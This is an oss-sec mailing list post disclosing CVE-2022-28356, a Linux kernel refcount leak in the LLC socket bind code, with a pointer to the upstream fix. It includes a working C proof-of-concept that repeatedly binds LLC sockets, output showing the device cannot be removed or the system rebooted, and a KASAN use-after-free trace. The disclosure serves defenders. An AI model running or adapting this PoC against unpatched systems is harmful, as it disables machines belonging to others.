oss-sec mailing list archives
CVE-2022-28356: Linux kernel: refcount leak in llc_ui_bind and llc_ui_autobind
From: Gianluca Gabrielli <ggabrielli () suse de>
Date: Wed, 6 Apr 2022 14:22:04 +0200
Hi list,Below you can find the security-bug report Beraphin shared with us a few days ago. It's been addressed in mainline at 764f4eb [0].
Mitre assigned CVE-2022-28356.[0] https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=764f4eb6846f5475f1244767d24d25dd86528a4a
Beraphin wrote:
I found a refcount leak bug in llc_ui_bind() from /net/llc/af_llc.c. In this function, if it finds an ARPHRD_ETHER type net device, it will hold the device's refcount: ''' if (sk->sk_bound_dev_if) { llc->dev = dev_get_by_index_rcu(&init_net, sk->sk_bound_dev_if); if (llc->dev) { if (is_zero_ether_addr(addr->sllc_mac)) memcpy(addr->sllc_mac, llc->dev->dev_addr, IFHWADDRLEN); if (addr->sllc_arphrd != llc->dev->type || !ether_addr_equal(addr->sllc_mac, llc->dev->dev_addr)) { rc = -EINVAL; llc->dev = NULL; } } } else llc->dev = dev_getbyhwaddr_rcu(&init_net, addr->sllc_arphrd, addr->sllc_mac); dev_hold_track(llc->dev, &llc->dev_tracker, GFP_ATOMIC); ''' but doesn't release the device if it fails to find a usable sap later: ''' sap = llc_sap_find(addr->sllc_sap); if (!sap) { sap = llc_sap_open(addr->sllc_sap, NULL); rc = -EBUSY; /* some other network layer is using the sap */ if (!sap) goto out; } else { ... out_put: llc_sap_put(sap); out: release_sock(sk); ''' If we call llc_ui_bind() on a socket multiple times and provide it a used sllc_sap each time, the device's refcount will be increased unexpectedly, and the device cannot be removed then. A simple PoC code is as below: ''' #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <sys/socket.h> #include <linux/llc.h> #include <time.h> #define REVISE_NUM 20 #define ARPHRD_ETHER 1 int main(void) { int s1, s2, ret, i; char eth0[] = {0, 0, 0, 0, 0, 0}; // change it int try; struct sockaddr_llc addr; memset(&addr, 0, sizeof(struct sockaddr_llc)); addr.sllc_family = AF_LLC; addr.sllc_arphrd = ARPHRD_ETHER; memcpy(addr.sllc_mac, eth0, 6); addr.sllc_sap = 20; s1 = socket(PF_LLC, SOCK_STREAM, 0); s2 = socket(PF_LLC, SOCK_STREAM, 0); printf("s1 = %d, s2 = %d\n", s1, s2); ret = bind(s1, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc)); printf("bind1 return %d\n", ret); ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc)); printf("bind2 return %d\n", ret); ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc)); printf("bind3 return %d\n", ret); ret = bind(s2, (struct sockaddr *)&addr, sizeof(struct sockaddr_llc)); printf("bind4 return %d\n", ret); close(s1); close(s2); return 0; } ''' After executing the poc above, we can neither remove the bounded net_device nor reboot the OS. The PoC is tested on Linux-5.17-rc5: ''' / # /home/pwn/exp s1 = 3, s2 = 4 bind1 return 0 bind2 return -1 bind3 return -1 bind4 return -1 / # / # reboot / # / # rmmod e1000 [ 185.976235] unregister_netdevice: waiting for eth0 to become free. Usage count = 3 [ 196.056399] unregister_netdevice: waiting for eth0 to become free. Usage count = 3 ''' An attacker can leverage this flaw to trigger an integer overflow on the device's refcount and eventually lead to a use-after-free bug: ''' [ 97.850647] ================================================================== [ 97.850647] BUG: KASAN: use-after-free in llc_alloc_frame+0x2aa/0x320 [llc2] [ 97.850647] Read of size 2 at addr ffff88803e9b2128 by task swapper/2/0 [ 97.850647] [ 97.850647] CPU: 2 PID: 0 Comm: swapper/2 Tainted: G E 5.17.0-rc5 #2 [ 97.850647] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 [ 97.850647] Call Trace: [ 97.850647] <IRQ> [ 97.850647] dump_stack_lvl+0x89/0xb5 [ 97.850647] print_address_description.constprop.0+0x24/0x150 [ 97.850647] ? llc_alloc_frame+0x2aa/0x320 [llc2] [ 97.850647] kasan_report.cold+0x82/0xdb [ 97.850647] ? llc_alloc_frame+0x2aa/0x320 [llc2] [ 97.850647] __asan_report_load2_noabort+0x14/0x20 [ 97.850647] llc_alloc_frame+0x2aa/0x320 [llc2] [ 97.850647] ? llc_conn_set_p_flag+0xf0/0xf0 [llc2] [ 97.850647] llc_conn_ac_send_sabme_cmd_p_set_x+0x56/0x470 [llc2] [ 97.850647] ? __sanitizer_cov_trace_switch+0x54/0x90 [ 97.850647] ? llc_conn_set_p_flag+0xf0/0xf0 [llc2] [ 97.850647] llc_conn_state_process+0x3fa/0x13f0 [llc2] [ 97.850647] llc_conn_tmr_common_cb+0x2c0/0x6d0 [llc2] [ 97.850647] ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2] [ 97.850647] llc_conn_ack_tmr_cb+0x23/0x30 [llc2] [ 97.850647] call_timer_fn+0x46/0x290 [ 97.850647] ? llc_conn_busy_tmr_cb+0x30/0x30 [llc2] [ 97.850647] __run_timers.part.0+0x6b0/0x9b0 [ 97.850647] ? call_timer_fn+0x290/0x290 [ 97.850647] ? __sanitizer_cov_trace_cmp4+0x16/0x20 [ 97.850647] ? ktime_get+0xff/0x150 [ 97.850647] ? lapic_next_event+0x5b/0x90 [ 97.850647] ? __sanitizer_cov_trace_const_cmp4+0x16/0x20 [ 97.850647] ? clockevents_program_event+0x14a/0x390 [ 97.850647] run_timer_softirq+0xb8/0x1b0 [ 97.850647] __do_softirq+0x1ac/0x5af [ 97.850647] __irq_exit_rcu+0xd9/0x190 [ 97.850647] irq_exit_rcu+0xe/0x10 [ 97.850647] sysvec_apic_timer_interrupt+0x98/0xb0 [ 97.850647] </IRQ> [ 97.850647] <TASK> [ 97.850647] asm_sysvec_apic_timer_interrupt+0x12/0x20 [ 97.850647] RIP: 0010:native_safe_halt+0xb/0x10 ''' The function llc_ui_autobind() has the same issue.
Best Regards, Gianluca -- . o . Gianluca Gabrielli gianlu.ca . . o Software security engineer suse.com o o o D78D 3FDC 2591 7EBA B52F 2362 6E17 38B8 2B60 B31D -Dance like no one's watching, encrypt like everyone is-
Attachment:
OpenPGP_signature
Description: OpenPGP digital signature
Current thread:
- CVE-2022-28356: Linux kernel: refcount leak in llc_ui_bind and llc_ui_autobind Gianluca Gabrielli (Apr 06)